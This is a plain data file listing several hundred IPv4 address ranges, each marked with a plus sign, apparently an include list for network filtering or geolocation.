+77.243.112.0-77.243.127.255 +77.243.240.0-77.243.255.255 +77.244.16.0-77.244.31.255 +77.244.64.0-77.244.79.255 +77.244.160.0-77.244.175.255 +77.244.208.0-77.244.223.255 +77.245.112.0-77.245.127.255 +77.245.160.0-77.245.175.255 +77.245.192.0-77.245.207.255 +77.245.208.0-77.245.223.255 +77.246.96.0-77.246.111.255 +77.246.144.0-77.246.159.255 +77.246.224.0-77.246.239.255 +77.246.240.0-77.246.255.255 +77.247.32.0-77.247.47.255 +77.247.48.0-77.247.63.255 +77.247.128.0-77.247.143.255 +77.247.160.0-77.247.175.255 +78.25.64.0-78.25.127.255 +78.25.128.0-78.25.191.255 +78.29.0.0-78.29.63.255 +78.29.64.0-78.29.127.255 +78.30.0.0-78.30.63.255 +78.36.0.0-78.37.255.255 +78.81.0.0-78.81.255.255 +78.85.0.0-78.85.255.255 +78.106.0.0-78.107.255.255 +78.108.64.0-78.108.79.255 +78.108.80.0-78.108.95.255 +78.108.192.0-78.108.207.255 +78.109.32.0-78.109.47.255 +78.109.112.0-78.109.127.255 +78.109.128.0-78.109.143.255 +78.110.48.0-78.110.63.255 +78.110.144.0-78.110.159.255 +78.110.240.0-78.110.255.255 +78.111.80.0-78.111.95.255 +78.111.144.0-78.111.159.255 +78.111.240.0-78.111.255.255 +78.132.128.0-78.132.255.255 +78.136.192.0-78.136.255.255 +78.138.128.0-78.138.191.255 +78.139.64.0-78.139.127.255 +78.139.192.0-78.139.255.255 +78.140.0.0-78.140.63.255 +78.140.192.0-78.140.255.255 +78.142.192.0-78.142.255.255 +78.153.0.0-78.153.31.255 +78.153.128.0-78.153.159.255 +78.155.160.0-78.155.191.255 +78.155.192.0-78.155.207.255 +78.156.224.0-78.156.255.255 +78.157.224.0-78.157.255.255 +78.158.192.0-78.158.223.255 +78.159.224.0-78.159.255.255 +79.104.0.0-79.104.255.255 +79.105.0.0-79.105.255.255 +79.110.64.0-79.110.79.255 +79.110.240.0-79.110.255.255 +79.111.0.0-79.111.255.255 +79.120.0.0-79.120.127.255 +79.122.128.0-79.122.255.255 +79.126.0.0-79.126.127.255 +79.132.96.0-79.132.127.255 +79.133.64.0-79.133.95.255 +79.133.96.0-79.133.127.255 +79.133.128.0-79.133.159.255 +79.133.160.0-79.133.191.255 +79.134.0.0-79.134.31.255 +79.134.64.0-79.134.95.255 +79.135.64.0-79.135.95.255 +79.135.224.0-79.135.255.255 +79.136.128.0-79.136.255.255 +79.137.128.0-79.137.255.255 +79.139.128.0-79.139.255.255 +79.140.16.0-79.140.31.255 +79.140.64.0-79.140.79.255 +79.140.96.0-79.140.111.255 +79.140.240.0-79.140.255.255 +79.141.48.0-79.141.63.255 +79.141.64.0-79.141.79.255 +79.141.208.0-79.141.223.255 +79.141.224.0-79.141.239.255 +79.142.16.0-79.142.31.255 +79.142.80.0-79.142.95.255 +79.142.96.0-79.142.111.255 +79.142.160.0-79.142.175.255 +79.143.0.0-79.143.15.255 +79.143.16.0-79.143.31.255 +79.143.64.0-79.143.79.255 +79.143.224.0-79.143.239.255 +79.164.0.0-79.165.255.255 +79.172.0.0-79.172.63.255 +79.172.64.0-79.172.127.255 +79.173.64.0-79.173.127.255 +79.174.32.0-79.174.63.255 +79.174.64.0-79.174.95.255 +79.175.0.0-79.175.63.255 +80.64.16.0-80.64.31.255 +80.64.96.0-80.64.111.255 +80.64.160.0-80.64.175.255 +80.65.16.0-80.65.31.255 +80.66.64.0-80.66.79.255 +80.66.80.0-80.66.95.255 +80.66.144.0-80.66.159.255 +80.67.48.0-80.67.63.255 +80.67.208.0-80.67.223.255 +80.67.240.0-80.67.255.255 +80.68.0.0-80.68.15.255 +80.68.64.0-80.68.79.255 +80.68.240.0-80.68.255.255 +80.69.144.0-80.69.159.255 +80.69.176.0-80.69.191.255 +80.70.96.0-80.70.111.255 +80.70.224.0-80.70.239.255 +80.71.32.0-80.71.47.255 +80.71.160.0-80.71.175.255 +80.71.176.0-80.71.191.255 +80.71.208.0-80.71.223.255 +80.71.240.0-80.71.255.255 +80.72.16.0-80.72.31.255 +80.72.112.0-80.72.127.255 +80.72.208.0-80.72.223.255 +80.72.224.0-80.72.239.255 +80.73.16.0-80.73.31.255 +80.73.64.0-80.73.79.255 +80.73.80.0-80.73.95.255 +80.73.160.0-80.73.175.255 +80.73.192.0-80.73.207.255 +80.75.80.0-80.75.95.255 +80.75.128.0-80.75.143.255 +80.76.96.0-80.76.111.255 +80.76.128.0-80.76.143.255 +80.76.176.0-80.76.191.255 +80.76.224.0-80.76.239.255 +80.76.240.0-80.76.255.255 +80.77.160.0-80.77.175.255 +80.78.96.0-80.78.111.255 +80.78.112.0-80.78.127.255 +80.78.192.0-80.78.207.255 +80.78.240.0-80.78.255.255 +80.79.64.0-80.79.79.255 +80.79.176.0-80.79.191.255 +80.79.240.0-80.79.255.255 +80.80.96.0-80.80.111.255 +80.80.112.0-80.80.127.255 +80.80.192.0-80.80.207.255 +80.81.208.0-80.81.223.255 +80.82.32.0-80.82.47.255 +80.82.48.0-80.82.63.255 +80.82.80.0-80.82.95.255 +80.82.160.0-80.82.175.255 +80.82.176.0-80.82.191.255 +80.83.192.0-80.83.207.255 +80.83.224.0-80.83.239.255 +80.83.240.0-80.83.255.255 +80.84.112.0-80.84.127.255 +80.85.144.0-80.85.159.255 +80.85.176.0-80.85.191.255 +80.85.240.0-80.85.255.255 +80.87.96.0-80.87.111.255 +80.87.144.0-80.87.159.255 +80.87.192.0-80.87.207.255 +80.88.48.0-80.88.63.255 +80.89.0.0-80.89.15.255 +80.89.128.0-80.89.143.255 +80.89.144.0-80.89.159.255 +80.89.192.0-80.89.207.255 +80.90.64.0-80.90.79.255 +80.90.112.0-80.90.127.255 +80.90.176.0-80.90.191.255 +80.90.240.0-80.90.255.255 +80.91.16.0-80.91.31.255 +80.91.192.0-80.91.207.255 +80.92.0.0-80.92.15.255 +80.92.16.0-80.92.31.255 +80.92.32.0-80.92.47.255 +80.92.96.0-80.92.111.255 +80.92.160.0-80.92.175.255 +80.92.192.0-80.92.207.255 +80.92.208.0-80.92.223.255 +80.93.48.0-80.93.63.255 +80.93.96.0-80.93.111.255 +80.93.176.0-80.93.191.255 +80.95.32.0-80.95.47.255 +80.115.192.0-80.115.223.255 +80.234.0.0-80.234.127.255 +80.237.0.0-80.237.127.255 +80.240.32.0-80.240.47.255 +80.240.48.0-80.240.63.255 +80.240.96.0-80.240.111.255 +80.240.112.0-80.240.127.255 +80.240.208.0-80.240.223.255 +80.240.240.0-80.240.255.255 +80.242.48.0-80.242.63.255 +80.242.64.0-80.242.79.255 +80.242.80.0-80.242.95.255 +80.243.0.0-80.243.15.255 +80.243.64.0-80.243.79.255 +80.243.128.0-80.243.143.255 +80.244.32.0-80.244.47.255 +80.244.224.0-80.244.239.255 +80.245.240.0-80.245.255.255 +80.246.16.0-80.246.31.255 +80.246.64.0-80.246.79.255 +80.246.80.0-80.246.95.255 +80.246.208.0-80.246.223.255 +80.246.240.0-80.246.255.255 +80.247.32.0-80.247.47.255 +80.247.96.0-80.247.111.255 +80.247.112.0-80.247.127.255 +80.247.176.0-80.247.191.255 +80.248.48.0-80.248.63.255 +80.248.80.0-80.248.95.255 +80.248.144.0-80.248.159.255 +80.249.128.0-80.249.143.255 +80.249.144.0-80.249.159.255 +80.249.176.0-80.249.191.255 +80.249.192.0-80.249.207.255 +80.250.64.0-80.250.79.255 +80.250.80.0-80.250.95.255 +80.250.160.0-80.250.175.255 +80.250.176.0-80.250.191.255 +80.250.208.0-80.250.223.255 +80.250.224.0-80.250.239.255 +80.251.48.0-80.251.63.255 +80.251.112.0-80.251.127.255 +80.251.128.0-80.251.143.255 +80.251.144.0-80.251.159.255 +80.251.208.0-80.251.223.255 +80.251.224.0-80.251.239.255 +80.252.16.0-80.252.31.255 +80.252.128.0-80.252.143.255 +80.252.144.0-80.252.159.255 +80.253.0.0-80.253.15.255 +80.253.16.0-80.253.31.255 +80.253.224.0-80.253.239.255 +80.254.16.0-80.254.31.255 +80.254.48.0-80.254.63.255 +80.254.96.0-80.254.111.255 +80.254.112.0-80.254.127.255 +80.255.16.0-80.255.31.255 +80.255.80.0-80.255.95.255 +80.255.128.0-80.255.143.255 +80.255.144.0-80.255.159.255 +80.255.176.0-80.255.191.255 +81.1.128.0-81.1.191.255 +81.1.192.0-81.1.255.255 +81.2.0.0-81.2.63.255 +81.3.128.0-81.3.191.255 +81.4.192.0-81.4.255.255 +81.5.64.0-81.5.127.255 +81.9.0.0-81.9.127.255 +81.13.0.0-81.13.127.255 +81.16.80.0-81.16.95.255 +81.16.112.0-81.16.127.255 +81.17.0.0-81.17.15.255 +81.17.144.0-81.17.159.255 +81.18.112.0-81.18.127.255 +81.18.128.0-81.18.143.255 +81.18.144.0-81.18.159.255 +81.19.64.0-81.19.79.255 +81.19.80.0-81.19.95.255 +81.19.128.0-81.19.143.255 +81.20.96.0-81.20.111.255 +81.20.160.0-81.20.175.255 +81.20.192.0-81.20.207.255 +81.21.224.0-81.21.239.255 +81.22.0.0-81.22.15.255 +81.22.48.0-81.22.63.255 +81.22.112.0-81.22.127.255 +81.23.0.0-81.23.15.255 +81.23.96.0-81.23.111.255 +81.23.112.0-81.23.127.255 +81.23.144.0-81.23.159.255 +81.23.160.0-81.23.175.255 +81.23.176.0-81.23.191.255 +81.23.192.0-81.23.207.255 +81.24.80.0-81.24.95.255 +81.24.112.0-81.24.127.255 +81.24.128.0-81.24.143.255 +81.24.176.0-81.24.191.255 +81.25.0.0-81.25.15.255 +81.25.48.0-81.25.63.255 +81.25.160.0-81.25.175.255 +81.26.80.0-81.26.95.255 +81.26.128.0-81.26.143.255 +81.26.176.0-81.26.191.255 +81.27.48.0-81.27.63.255 +81.27.144.0-81.27.159.255 +81.27.240.0-81.27.255.255 +81.28.0.0-81.28.15.255 +81.28.160.0-81.28.175.255 +81.28.176.0-81.28.191.255 +81.28.208.0-81.28.223.255 +81.29.112.0-81.29.127.255 +81.30.48.0-81.30.63.255 +81.30.112.0-81.30.127.255 +81.30.176.0-81.30.191.255 +81.30.192.0-81.30.207.255 +81.30.208.0-81.30.223.255 +81.88.80.0-81.88.95.255 +81.88.112.0-81.88.127.255 +81.88.208.0-81.88.223.255 +81.89.64.0-81.89.79.255 +81.89.112.0-81.89.127.255 +81.89.176.0-81.89.191.255 +81.90.0.0-81.90.15.255 +81.90.208.0-81.90.223.255 +81.91.32.0-81.91.47.255 +81.91.48.0-81.91.63.255 +81.91.176.0-81.91.191.255 +81.94.16.0-81.94.31.255 +81.94.32.0-81.94.47.255 +81.94.128.0-81.94.143.255 +81.94.144.0-81.94.159.255 +81.95.16.0-81.95.31.255 +81.95.32.0-81.95.47.255 +81.95.128.0-81.95.143.255 +81.95.208.0-81.95.223.255 +81.161.16.0-81.161.31.255 +81.161.32.0-81.161.47.255 +81.161.208.0-81.161.223.255 +81.162.0.0-81.162.15.255 +81.162.32.0-81.162.47.255 +81.163.16.0-81.163.31.255 +81.163.32.0-81.163.63.255 +81.163.96.0-81.163.111.255 +81.163.160.0-81.163.191.255 +81.163.224.0-81.163.239.255 +81.163.240.0-81.163.255.255 +81.176.0.0-81.176.255.255 +81.177.0.0-81.177.31.255 +81.177.32.0-81.177.47.255 +81.177.64.0-81.177.95.255 +81.177.96.0-81.177.127.255 +81.177.128.0-81.177.159.255 +81.177.160.0-81.177.175.255 +81.177.192.0-81.177.207.255 +81.177.208.0-81.177.223.255 +81.177.224.0-81.177.239.255 +81.177.240.0-81.177.255.255 +81.195.0.0-81.195.255.255 +81.200.0.0-81.200.15.255 +81.200.16.0-81.200.31.255 +81.200.80.0-81.200.95.255 +81.200.112.0-81.200.127.255 +81.200.144.0-81.200.159.255 +81.200.208.0-81.200.223.255 +81.200.240.0-81.200.255.255 +81.201.16.0-81.201.31.255 +81.201.64.0-81.201.79.255 +81.201.240.0-81.201.255.255 +81.211.0.0-81.211.127.255 +81.222.0.0-81.222.255.255 +82.96.192.0-82.96.255.255 +82.97.192.0-82.97.255.255 +82.100.128.0-82.100.191.255 +82.112.0.0-82.112.31.255 +82.112.32.0-82.112.63.255 +82.114.0.0-82.114.31.255 +82.114.96.0-82.114.127.255 +82.114.128.0-82.114.159.255 +82.114.224.0-82.114.255.255 +82.116.0.0-82.116.31.255 +82.116.32.0-82.116.63.255 +82.117.64.0-82.117.95.255 +82.117.160.0-82.117.191.255 +82.118.128.0-82.118.159.255 +82.119.128.0-82.119.159.255 +82.137.128.0-82.137.191.255 +82.138.0.0-82.138.63.255 +82.140.64.0-82.140.127.255 +82.140.192.0-82.140.255.255 +82.142.128.0-82.142.191.255 +82.144.64.0-82.144.95.255 +82.146.32.0-82.146.63.255 +82.147.64.0-82.147.95.255 +82.147.96.0-82.147.127.255 +82.148.0.0-82.148.31.255 +82.149.128.0-82.149.159.255 +82.149.192.0-82.149.223.255 +82.151.96.0-82.151.127.255 +82.151.192.0-82.151.223.255 +82.162.0.0-82.162.255.255 +82.179.0.0-82.179.255.255 +82.193.128.0-82.193.159.255 +82.194.160.0-82.194.191.255 +82.194.224.0-82.194.255.255 +82.195.0.0-82.195.31.255 +82.196.64.0-82.196.95.255 +82.196.128.0-82.196.159.255 +82.198.0.0-82.198.31.255 +82.198.160.0-82.198.191.255 +82.199.96.0-82.199.127.255 +82.200.0.0-82.200.127.255 +82.202.128.0-82.202.255.255 +82.204.128.0-82.204.255.255 +82.208.64.0-82.208.127.255 +82.209.64.0-82.209.127.255 +83.68.32.0-83.68.63.255 +83.69.0.0-83.69.31.255 +83.69.64.0-83.69.95.255 +83.69.96.0-83.69.127.255 +83.69.160.0-83.69.191.255 +83.69.192.0-83.69.223.255 +83.69.224.0-83.69.255.255 +83.102.128.0-83.102.255.255 +83.139.128.0-83.139.191.255 +83.146.64.0-83.146.127.255 +83.149.0.0-83.149.63.255 +83.149.192.0-83.149.255.255 +83.151.0.0-83.151.15.255 +83.166.96.0-83.166.127.255 +83.166.224.0-83.166.255.255 +83.167.0.0-83.167.31.255 +83.167.64.0-83.167.95.255 +83.167.96.0-83.167.127.255 +83.169.192.0-83.169.255.255 +83.171.64.0-83.171.127.255 +83.172.0.0-83.172.63.255 +83.174.192.0-83.174.255.255 +83.217.0.0-83.217.31.255 +83.217.32.0-83.217.63.255 +83.217.192.0-83.217.223.255 +83.219.0.0-83.219.31.255 +83.219.128.0-83.219.159.255 +83.219.224.0-83.219.255.255 +83.220.32.0-83.220.63.255 +83.220.64.0-83.220.95.255 +83.220.160.0-83.220.175.255 +83.220.176.0-83.220.191.255 +83.220.224.0-83.220.255.255 +83.221.0.0-83.221.31.255 +83.221.160.0-83.221.191.255 +83.221.192.0-83.221.223.255 +83.222.0.0-83.222.31.255 +83.222.64.0-83.222.95.255 +83.222.96.0-83.222.127.255 +83.222.192.0-83.222.223.255 +83.229.128.0-83.229.255.255 +83.234.0.0-83.234.255.255 +83.237.0.0-83.237.255.255 +83.239.0.0-83.239.255.255 +83.242.128.0-83.242.255.255 +83.246.128.0-83.246.255.255 +84.16.128.0-84.16.159.255 +84.17.0.0-84.17.31.255 +84.17.224.0-84.17.255.255 +84.18.96.0-84.18.127.255 +84.21.64.0-84.21.95.255 +84.21.224.0-84.21.255.255 +84.22.128.0-84.22.159.255 +84.22.192.0-84.22.223.255 +84.23.32.0-84.23.63.255 +84.38.176.0-84.38.191.255 +84.39.240.0-84.39.255.255 +84.42.0.0-84.42.127.255 +84.51.64.0-84.51.127.255 +84.51.192.0-84.51.223.255 +84.52.64.0-84.52.127.255 +84.53.192.0-84.53.255.255 +84.54.192.0-84.54.255.255 +84.201.128.0-84.201.191.255 +84.201.240.0-84.201.255.255 +84.204.0.0-84.204.255.255 +84.237.0.0-84.237.127.255 +84.242.0.0-84.242.63.255 +84.242.192.0-84.242.255.255 +84.244.0.0-84.244.63.255 +84.252.128.0-84.252.191.255 +84.253.64.0-84.253.127.255 +84.254.192.0-84.254.255.255 +85.12.192.0-85.12.255.255 +85.15.64.0-85.15.127.255 +85.15.128.0-85.15.191.255 +85.21.0.0-85.21.255.255 +85.26.128.0-85.26.255.255 +85.28.0.0-85.28.63.255 +85.28.192.0-85.28.255.255 +85.30.192.0-85.30.255.255 +85.88.160.0-85.88.191.255 +85.89.96.0-85.89.127.255 +85.90.96.0-85.90.127.255 +85.91.192.0-85.91.223.255 +85.92.0.0-85.92.31.255 +85.93.32.0-85.93.63.255 +85.93.128.0-85.93.159.255 +85.94.0.0-85.94.31.255 +85.94.32.0-85.94.63.255 +85.95.128.0-85.95.159.255 +85.95.160.0-85.95.191.255 +85.112.32.0-85.112.63.255 +85.112.96.0-85.112.127.255 +85.113.32.0-85.113.63.255 +85.113.128.0-85.113.159.255 +85.113.192.0-85.113.223.255 +85.114.0.0-85.114.31.255 +85.114.64.0-85.114.95.255 +85.114.160.0-85.114.191.255 +85.115.160.0-85.115.191.255 +85.115.224.0-85.115.255.255 +85.116.96.0-85.116.127.255 +85.117.64.0-85.117.95.255 +85.140.0.0-85.141.255.255 +85.142.0.0-85.143.255.255 +85.172.0.0-85.175.255.255 +85.192.0.0-85.192.63.255 +85.192.128.0-85.192.191.255 +85.193.64.0-85.193.127.255 +85.195.128.0-85.195.191.255 +85.198.64.0-85.198.127.255 +85.202.0.0-85.202.15.255 +85.202.128.0-85.202.143.255 +85.202.176.0-85.202.191.255 +85.202.224.0-85.202.239.255 +85.202.240.0-85.202.255.255 +85.232.96.0-85.232.127.255 +85.233.64.0-85.233.95.255 +85.233.128.0-85.233.159.255 +85.234.0.0-85.234.31.255 +85.234.32.0-85.234.63.255 +85.234.96.0-85.234.127.255 +85.235.32.0-85.235.63.255 +85.235.160.0-85.235.191.255 +85.235.192.0-85.235.223.255 +85.236.0.0-85.236.31.255 +85.236.160.0-85.236.191.255 +85.237.32.0-85.237.63.255 +85.239.32.0-85.239.63.255 +85.249.0.0-85.249.255.255 +86.62.64.0-86.62.127.255 +86.102.0.0-86.102.255.255 +86.109.192.0-86.109.223.255 +86.110.0.0-86.110.31.255 +86.110.96.0-86.110.127.255 +86.110.160.0-86.110.191.255 +86.110.192.0-86.110.223.255 +86.111.0.0-86.111.31.255 +87.76.0.0-87.76.15.255 +87.103.128.0-87.103.255.255 +87.117.0.0-87.117.63.255 +87.117.128.0-87.117.159.255 +87.117.160.0-87.117.191.255 +87.118.192.0-87.118.255.255 +87.119.224.0-87.119.255.255 +87.224.128.0-87.224.255.255 +87.225.0.0-87.225.127.255 +87.226.128.0-87.226.255.255 +87.228.0.0-87.228.127.255 +87.229.128.0-87.229.255.255 +87.240.0.0-87.240.63.255 +87.240.128.0-87.240.191.255 +87.241.192.0-87.241.255.255 +87.242.64.0-87.242.127.255 +87.244.32.0-87.244.63.255 +87.245.128.0-87.245.191.255 +87.248.224.0-87.248.255.255 +87.249.0.0-87.249.31.255 +87.249.32.0-87.249.63.255 +87.249.192.0-87.249.223.255 +87.249.224.0-87.249.255.255 +87.250.0.0-87.250.31.255 +87.250.192.0-87.250.223.255 +87.250.224.0-87.250.255.255 +87.251.64.0-87.251.95.255 +87.251.96.0-87.251.127.255 +87.251.128.0-87.251.159.255 +87.251.160.0-87.251.191.255 +87.253.0.0-87.253.31.255 +87.253.192.0-87.253.223.255 +87.254.128.0-87.254.159.255 +87.255.0.0-87.255.31.255 +87.255.224.0-87.255.255.255 +88.80.32.0-88.80.63.255 +88.81.32.0-88.81.63.255 +88.81.192.0-88.81.223.255 +88.82.64.0-88.82.95.255 +88.82.160.0-88.82.191.255 +88.83.192.0-88.83.223.255 +88.84.192.0-88.84.223.255 +88.85.160.0-88.85.191.255 +88.85.192.0-88.85.223.255 +88.86.64.0-88.86.95.255 +88.86.192.0-88.86.223.255 +88.87.64.0-88.87.95.255 +88.135.0.0-88.135.15.255 +88.135.48.0-88.135.63.255 +88.147.128.0-88.147.255.255 +88.200.128.0-88.200.255.255 +88.201.128.0-88.201.255.255 +88.204.0.0-88.204.127.255 +88.205.128.0-88.205.255.255 +88.206.0.0-88.206.127.255 +88.210.0.0-88.210.63.255 +88.212.192.0-88.212.255.255 +88.215.128.0-88.215.191.255 +89.16.32.0-89.16.63.255 +89.16.96.0-89.16.127.255 +89.17.32.0-89.17.63.255 +89.18.128.0-89.18.159.255 +89.19.160.0-89.19.191.255 +89.19.192.0-89.19.223.255 +89.20.0.0-89.20.31.255 +89.20.32.0-89.20.63.255 +89.20.96.0-89.20.127.255 +89.20.128.0-89.20.159.255 +89.21.128.0-89.21.159.255 +89.22.16.0-89.22.31.255 +89.22.128.0-89.22.159.255 +89.22.160.0-89.22.191.255 +89.22.224.0-89.22.239.255 +89.23.0.0-89.23.31.255 +89.23.32.0-89.23.63.255 +89.23.96.0-89.23.127.255 +89.23.128.0-89.23.159.255 +89.23.160.0-89.23.191.255 +89.23.192.0-89.23.223.255 +89.104.64.0-89.104.95.255 +89.104.96.0-89.104.127.255 +89.105.128.0-89.105.159.255 +89.108.64.0-89.108.127.255 +89.109.0.0-89.109.63.255 +89.109.128.0-89.109.191.255 +89.109.192.0-89.109.255.255 +89.110.0.0-89.110.63.255 +89.111.128.0-89.111.191.255 +89.112.0.0-89.113.255.255 +89.145.128.0-89.145.159.255 +89.148.192.0-89.148.255.255 +89.151.128.0-89.151.191.255 +89.163.0.0-89.163.127.255 +89.169.0.0-89.169.255.255 +89.175.0.0-89.175.255.255 +89.178.0.0-89.179.255.255 +89.184.0.0-89.184.31.255 +89.184.224.0-89.184.255.255 +89.185.64.0-89.185.95.255 +89.186.224.0-89.186.255.255 +89.188.96.0-89.188.127.255 +89.188.160.0-89.188.191.255 +89.188.224.0-89.188.255.255 +89.189.0.0-89.189.31.255 +89.189.96.0-89.189.127.255 +89.189.128.0-89.189.159.255 +89.189.160.0-89.189.191.255 +89.190.224.0-89.190.255.255 +89.191.224.0-89.191.255.255 +89.204.0.0-89.204.127.255 +89.208.0.0-89.208.255.255 +89.221.16.0-89.221.31.255 +89.221.48.0-89.221.63.255 +89.221.192.0-89.221.207.255 +89.221.224.0-89.221.239.255 +89.222.128.0-89.222.255.255 +89.223.0.0-89.223.127.255 +89.232.64.0-89.232.127.255 +89.232.128.0-89.232.191.255 +89.232.192.0-89.232.255.255 +89.235.128.0-89.235.191.255 +89.237.0.0-89.237.63.255 +89.239.128.0-89.239.191.255 +89.248.112.0-89.248.127.255 +89.248.176.0-89.248.191.255 +89.248.192.0-89.248.207.255 +89.248.224.0-89.248.239.255 +89.249.16.0-89.249.31.255 +89.249.48.0-89.249.63.255 +89.249.112.0-89.249.127.255 +89.249.128.0-89.249.143.255 +89.249.144.0-89.249.159.255 +89.249.160.0-89.249.175.255 +89.249.224.0-89.249.239.255 +89.249.240.0-89.249.255.255 +89.250.0.0-89.250.15.255 +89.250.16.0-89.250.31.255 +89.250.144.0-89.250.159.255 +89.250.160.0-89.250.175.255 +89.250.208.0-89.250.223.255 +89.250.224.0-89.250.239.255 +89.251.64.0-89.251.79.255 +89.251.96.0-89.251.111.255 +89.251.144.0-89.251.159.255 +89.251.160.0-89.251.175.255 +89.252.64.0-89.252.127.255 +89.253.0.0-89.253.63.255 +89.253.192.0-89.253.255.255 +89.254.192.0-89.254.255.255 +89.255.64.0-89.255.127.255 +90.150.0.0-90.151.255.255 +90.154.0.0-90.154.63.255 +90.154.64.0-90.154.127.255 +90.155.128.0-90.155.255.255 +90.156.128.0-90.156.255.255 +90.157.0.0-90.157.127.255 +90.188.0.0-90.189.255.255 +91.76.0.0-91.79.255.255 +91.105.128.0-91.105.191.255 +91.107.0.0-91.107.255.255 +91.108.0.0-91.108.63.255 +91.109.64.0-91.109.95.255 +91.109.128.0-91.109.159.255 +91.122.0.0-91.122.255.255 +91.123.16.0-91.123.31.255 +91.123.80.0-91.123.95.255 +91.133.0.0-91.133.31.255 +91.135.144.0-91.135.159.255 +91.135.208.0-91.135.223.255 +91.142.80.0-91.142.95.255 +91.142.144.0-91.142.159.255 +91.143.0.0-91.143.15.255 +91.143.16.0-91.143.31.255 +91.143.32.0-91.143.47.255 +91.143.48.0-91.143.63.255 +91.143.128.0-91.143.143.255 +91.143.144.0-91.143.159.255 +91.143.160.0-91.143.175.255 +91.144.128.0-91.144.191.255 +91.146.0.0-91.146.63.255 +91.147.0.0-91.147.63.255 +91.149.64.0-91.149.127.255 +91.151.32.0-91.151.47.255 +91.151.176.0-91.151.191.255 +91.151.192.0-91.151.207.255 +91.184.224.0-91.184.255.255 +91.185.32.0-91.185.63.255 +91.185.64.0-91.185.95.255 +91.185.224.0-91.185.255.255 +91.186.96.0-91.186.127.255 +91.188.160.0-91.188.191.255 +91.190.64.0-91.190.79.255 +91.190.112.0-91.190.127.255 +91.191.176.0-91.191.191.255 +91.191.224.0-91.191.255.255 +91.242.176.0-91.242.191.255 +91.243.32.0-91.243.63.255 +91.243.80.0-91.243.95.255 +91.243.96.0-91.243.111.255 +91.243.128.0-91.243.159.255 +91.243.176.0-91.243.191.255 +91.243.224.0-91.243.255.255 +91.244.80.0-91.244.95.255 +91.244.192.0-91.244.207.255 +91.245.32.0-91.245.63.255 +91.245.128.0-91.245.159.255 +91.246.80.0-91.246.95.255 +91.246.112.0-91.246.127.255 +91.247.0.0-91.247.31.255 +91.247.96.0-91.247.127.255 +91.247.128.0-91.247.143.255 +91.247.192.0-91.247.207.255 +92.36.0.0-92.36.127.255 +92.37.128.0-92.37.255.255 +92.38.128.0-92.38.255.255 +92.39.64.0-92.39.79.255 +92.39.96.0-92.39.111.255 +92.39.128.0-92.39.143.255 +92.39.208.0-92.39.223.255 +92.39.224.0-92.39.239.255 +92.49.128.0-92.49.191.255 +92.50.128.0-92.50.191.255 +92.50.192.0-92.50.255.255 +92.51.0.0-92.51.63.255 +92.53.64.0-92.53.95.255 +92.53.112.0-92.53.127.255 +92.54.64.0-92.54.127.255 +92.55.0.0-92.55.63.255 +92.60.80.0-92.60.95.255 +92.61.16.0-92.61.31.255 +92.61.64.0-92.61.79.255 +92.62.48.0-92.62.63.255 +92.62.144.0-92.62.159.255 +92.63.64.0-92.63.79.255 +92.63.96.0-92.63.111.255 +92.63.176.0-92.63.191.255 +92.63.192.0-92.63.207.255 +92.100.0.0-92.101.255.255 +92.124.0.0-92.125.255.255 +92.126.0.0-92.127.255.255 +92.240.128.0-92.240.143.255 +92.240.192.0-92.240.223.255 +92.241.0.0-92.241.31.255 +92.241.96.0-92.241.127.255 +92.241.160.0-92.241.191.255 +92.241.224.0-92.241.255.255 +92.242.0.0-92.242.31.255 +92.242.32.0-92.242.47.255 +92.242.64.0-92.242.95.255 +92.243.64.0-92.243.95.255 +92.243.96.0-92.243.127.255 +92.243.160.0-92.243.191.255 +92.244.224.0-92.244.255.255 +92.245.32.0-92.245.63.255 +92.246.128.0-92.246.143.255 +92.246.160.0-92.246.191.255 +92.246.192.0-92.246.223.255 +92.248.128.0-92.248.255.255 +92.252.128.0-92.252.255.255 +92.255.0.0-92.255.127.255 +92.255.128.0-92.255.255.255 +93.80.0.0-93.81.255.255 +93.88.0.0-93.88.15.255 +93.88.16.0-93.88.31.255 +93.88.64.0-93.88.79.255 +93.88.128.0-93.88.143.255 +93.88.160.0-93.88.175.255 +93.88.176.0-93.88.191.255 +93.88.208.0-93.88.223.255 +93.89.176.0-93.89.191.255 +93.90.32.0-93.90.47.255 +93.90.80.0-93.90.95.255 +93.90.96.0-93.90.111.255 +93.90.208.0-93.90.223.255 +93.90.224.0-93.90.239.255 +93.90.240.0-93.90.255.255 +93.91.0.0-93.91.15.255 +93.91.112.0-93.91.127.255 +93.91.160.0-93.91.175.255 +93.91.224.0-93.91.239.255 +93.100.0.0-93.100.255.255 +93.120.128.0-93.120.255.255 +93.123.128.0-93.123.255.255 +93.124.0.0-93.124.127.255 +93.153.128.0-93.153.255.255 +93.158.128.0-93.158.191.255 +93.158.240.0-93.158.255.255 +93.175.0.0-93.175.31.255 +93.176.128.0-93.176.191.255 +93.177.0.0-93.177.63.255 +93.178.64.0-93.178.127.255 +93.179.64.0-93.179.127.255 +93.180.0.0-93.180.63.255 +93.181.192.0-93.181.255.255 +93.182.0.0-93.182.63.255 +93.183.64.0-93.183.127.255 +93.184.160.0-93.184.175.255 +93.185.16.0-93.185.31.255 +93.185.144.0-93.185.159.255 +93.185.176.0-93.185.191.255 +93.185.192.0-93.185.207.255 +93.186.48.0-93.186.63.255 +93.186.96.0-93.186.111.255 +93.186.224.0-93.186.239.255 +94.19.0.0-94.19.255.255 +94.24.128.0-94.24.255.255 +94.25.0.0-94.25.127.255 +94.25.128.0-94.25.255.255 +94.26.128.0-94.26.255.255 +94.28.0.0-94.28.127.255 +94.28.128.0-94.28.255.255 +94.29.0.0-94.29.127.255 +94.31.128.0-94.31.255.255 +94.41.0.0-94.41.255.255 +94.45.0.0-94.45.31.255 +94.45.160.0-94.45.191.255 +94.45.192.0-94.45.223.255 +94.50.0.0-94.51.255.255 +94.72.0.0-94.72.63.255 +94.73.192.0-94.73.255.255 +94.75.0.0-94.75.63.255 +94.75.128.0-94.75.191.255 +94.77.0.0-94.77.63.255 +94.77.64.0-94.77.127.255 +94.77.128.0-94.77.191.255 +94.78.192.0-94.78.255.255 +94.79.0.0-94.79.63.255 +94.100.80.0-94.100.95.255 +94.100.176.0-94.100.191.255 +94.100.192.0-94.100.207.255 +94.101.64.0-94.101.79.255 +94.101.96.0-94.101.111.255 +94.102.16.0-94.102.31.255 +94.102.80.0-94.102.95.255 +94.102.112.0-94.102.127.255 +94.103.80.0-94.103.95.255 +94.103.176.0-94.103.191.255 +94.103.224.0-94.103.239.255 +94.136.192.0-94.136.223.255 +94.137.0.0-94.137.31.255 +94.137.32.0-94.137.63.255 +94.137.64.0-94.137.95.255 +94.137.192.0-94.137.223.255 